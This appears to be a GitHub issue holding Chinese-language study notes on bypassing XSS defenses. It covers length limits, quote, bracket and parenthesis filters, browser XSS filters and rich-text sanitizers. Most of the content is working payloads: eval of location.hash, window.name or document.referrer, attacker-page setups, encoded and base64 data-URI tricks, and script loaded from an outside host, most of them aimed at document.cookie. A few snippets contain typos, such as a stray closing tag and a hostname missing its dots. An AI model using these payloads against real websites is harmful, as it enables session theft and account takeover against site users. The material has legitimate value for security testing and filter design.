XSS & WAF
PyxYuYu opened this issue · 0 comments
PyxYuYu commented
Satisfaction doesn't come from the outside, but from the inside.
0x01 XSS
WAF
绕过XSS
字符数量限制绕过- 有些
XSS
漏洞由于字符数量限制导致没法有效利用,所以需要绕过限制 - 绕过的思路
- 执行可以控制的不受限的数据
- 绕过方法
- 利用
HTML
上下文中其他可控数据- 如果存在
XSS
漏洞的页面HTML
上下文中还有其他可控数据,那么可以通过JS
获取该数据,然后通过eval、document.write、innerHTML
等方式执行该数据,从而突破XSS
字符数量限制
<div id="x"> 可控的安全数据 </div> <limited_xss_point>alert(1);</limited_xss_point>
- 由于
XSS
处字符数量的限制,所以只能弹框,无法有效利用,这里通过把XSS
的Payload
通过escape
编码后作为安全的数据,输出到可控的安全数据位置(此处未限制),然后在XSS
处执行可控的安全数据
<div id="x">alert%28document.cookie%29%3b</div> // escape编码 <limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
- 长度:
28 + len(id)
- 如果不能使用
document.URL
等方式,但是可控无限个<p>
,可以分割单独插入
<p class="comment" title=""><script>/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x=new Array();/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[0]='a';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[1]='l';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[2]='e';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[3]='r';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[4]='t';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[5]='(';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[6]='1';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/x[7]=')';/*" data-comment='{"id":1}'></p> <p class="comment" title="*/y=x.join('');/*" data-comment='{"id":1}'></p> <p class="comment" title="*/eval(y);/*" data-comment='{"id":1}'></p> <p class="comment" title="*/</script>" data-comment='{"id":1}'></p>
- 如果存在
- 利用
URL
中的数据- 如果不存在可控的
HTML
上下文,可以使用URL
,URL
中的数据是无条件可控的,通过在URL
的尾部参数构造要执行的代码,然后在XSS
处通过document.URL/location.href
等方式获得代码数据执行
http://www.xxx.com/1.php?x=1...&alert(document.cookie) // 假设代码从第80个字符开始 <limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
- 长度:
30
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
- 长度:
31
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
- 长度:
29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
- 长度:
30
location
对象 中hash
成员可以获取#
之后的数据
http://www.xxx.com/1.php?x=1...#alert(document.cookie) <limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
- 由于获得的数据是
#
开头,所以从1
开始,长度:29
- 如果不存在可控的
- 利用
JS
上下文- 开发人员为了缩短开发时的函数名,自定义了一些函数来实现,可以通过分析
JS
上下文现有的这些函数来实现突破长度限制 - 有些函数可以加载代码
function loads(url){ ... document.body.appendChild(script); }
<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
- 长度:
len(函数名)+len(url)+5
- 有些函数可以作
HTTP
请求
function get(url){ ... return x.response Text; }
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
- 长度:
len(函数名)+len(url)+11
- 开发人员为了缩短开发时的函数名,自定义了一些函数来实现,可以通过分析
- 利用浏览器特性在跨域的页面之间传递数据
document.referrer
- 攻击者可以在自己的域上构造页面跳转到被
XSS
的页面,在自己域上的页面URL
带入Payload
,被XSS
的页面通过referrer
获取相关代码执行 - 通过获取
referrer
参数,当攻击者的页面访问的时候,就会有referrer
参数,即攻击者的URL
- 攻击者构造的页面
http://www.a.com/attack.html?...&alert(document.cookie) <a href="http://www.xssedsite.com/xssed.php">go</a>
- 被
XSS
的页面
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
- 攻击者可以在自己的域上构造页面跳转到被
clipboardData
- 攻击者在自己域的页面上通过
clipboardData
把Payload
写入剪切板,然后在被XSS
的页面获取并执行该数据 - 攻击者构造的页面
<script> clipboardData.setData("text", "alert(document.cookie)"); </script>
- 被
XSS
的页面
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
- 只适用于
IE 7
以下
- 攻击者在自己域的页面上通过
window.name
- 攻击者通过
window.name
直接设置当前窗口的name
则没有特殊字符限制,然后直接跳转到被XSS
的页面,通过name
属性传递Payload
过去执行 - 攻击者构造的页面
<script> window.name = "alert(document.cookie)"; location.href = "http://www.xssedsitecom/xssedphp"; </script>
- 被
XSS
的页面
<limited_xss_point>eval(name);</limited_xss_point>
- 长度:
11
- 攻击者通过
- 利用
- 有些
XSS
引号绕过- 如果对引号进行了过滤,可以采取
/
进行绕过
<script>alert(/1/)</script> <iframe/onload=alert(/1/)> <img src=x onerror=alert(/1/)> <p onmouseover=alert(/1/)>xxx</p>
String.fromCharCode
fromCharCode
可以对利用代码中的引号进行编码处理,需要利用eval
函数结合使用
<script>alert('1')</alert> <script>eval(String.fromCharCode(97,108,101,114,116,40,39,49,39,41))</script>
- 上面突破跨站长度限制的方法也可以绕过引号
- 如果对引号进行了过滤,可以采取
XSS
尖括号绕过- 一般情况下如果输出没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行绕过
- 事件函数
- 常用的一些事件函数
onerror
、onmouseover
、onload
等(但是这里依然需要有<、>、=
等符号,只能是在script
才过滤)
<img src=x onerror=alert(/1/)> <p onmouseover=alert(/1/)>xxx</p> <frameset onload=alert(/1/)> <body onload=alert(/1/)>
- 常用的一些事件函数
style
与expression
- 通过标签的
style
样式进行跨站(IE
)
<div style="width:expression(alert('1'));">
- 通过标签的
JavaScript
伪协议IE
<img src=javascript:alert('1')>
- 事件函数
- 一般情况下如果输出没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行绕过
XSS
括号绕过- 外部文件
- 很多时候不仅仅是需要得到
Cookie
等,还需要传播(XSS
蠕虫) - 通过
src
引入外部文件,利用代码写在外部文件中(外部文件后缀可以不为.js
) - 也可以绕过长度限制
<script src='1.js'></script>
- 很多时候不仅仅是需要得到
hex
、dec
编码- 利用十六进制、十进制进行编码
<div style="width:expression(alert('1'))">1</div> <div style="width:expression(alert('1'))">1</div>
- 外部文件
XSS
绕过过滤器(Filter
)- 浏览器过滤器基本只支持
反射型XSS
,其他类型基本不受影响 IE Filter
绕过<a href=>
- 针对普通的
反射型XSS
,可以利用a
标签和sc%0aript
实现绕过,不过需要用户点击 - 原理:页面输出后这两个页面属于同一域,因此不会产生过滤,如果
href
里面的地址不同域就会产生过滤
<a href="xss.php?a=<sc%0aript>alert(/1/)</script>">
- 针对普通的
utf7
- 通过
UTF7-BOM
实现,全补丁情况下只有当header
里编码为utf-7
才能成功
%2BACIAPgA8-script%2BAD4-alert%28/1/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J
- 通过
Flash
- 在
www.b.com
域名下用iframe
嵌入www.a.com
的Flash XSS
文件,当受害者打开www.b.com
,就可以触发www.a.com
域名下的XSS
,获取数据 - 对于
a
而言,这个Flash XSS
只是普通的Flash XSS
,只不过是由跨域的浏览器发起的
<iframe/src="http://www.b.com/1.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"></iframe>
- 在
Chrome
下可能会导致浏览器崩溃,改用以下代码
<iframe/src="http://www.b.com/1.swf?get-data=(function(){alert(document.cookie)})()"></iframe>
- 在
Chrome Filter
data
协议
?vuln=<a href="javascript:alert(document.cookie);">click</a> // 拦截 >vuln=<a href="javascript:void(0)">click</a> // 绕过 ?vuln=<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+ ">click<a> // 绕过
- 浏览器过滤器基本只支持
XSS
富文本绕过- 黑名单、白名单机制过滤,实质都是基于正则匹配的过滤
- 测试流程:
- 输入常见的标签和事件
- 是否有存在的标签没有过滤
- 变形或者分析其属性
- 标签:
object
applet
base
link
meta
import
embed
vmlframe
iframe
script
style
isindex
form
textarea
- 字符:
javascript:
vbscript:
- 事件:
onload
onerror
on*
- 未递归过滤
- 很多富文本过滤都是针对关键字过滤,但是没有进行递归过滤,导致过滤后的结果重新组成新的标签
<ifra<ifame>me>...</ifra</iframe>me> <s<script>cript>...</s</script>cript>
- 编码
- 利用字符的十六进制和十进制编码进行关键字绕过,由于
expression
只能IE
执行,因此仅限于IE
<div style="width:expression(alert(/1/))">1</div> <div style="width:\0065xpression(alert(/1/))">1</div> // 编码 <div style="width:\0065xpressio\6e(alert(/1/))">1</div> <div style="width:\0065xpression(alert(/1/))">1</div>
- 特殊字符
- 可以插入
tab
、换行
、空白符
、/**
绕过关键字匹配,基本也只限于IE
<div style="width:exp/** **/ression(alert(/1/))">1</div>
- 可以插入
- 非常见协议
- 利用
object
标签,将date
属性数据进行base64
编码绕过关键数据,同时object
标签也是经常被遗忘的标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvaW5zaWdodC1sYWJzLyk8L3NjcmlwdD4=">
- 利用
HTML5
- 利用
HTML5
新标签或者新属性来进行绕过 - 新标签:
button
video
audio
article
footer
nav
- 新属性:
automplete
autofocus
pattern
...
<input onfocus=write(1) autofocus> <video poster=javascript:alert(1)//></video>
- 利用
- 浏览器方面
IE
的注释方式
<!--[if IE]><img src=# width=0 height=0 onerror=alert(/ourren_demo/)><![endif]--> <comment><img src="</comment><img src=x onerror=alert(/ourren_demo/)//">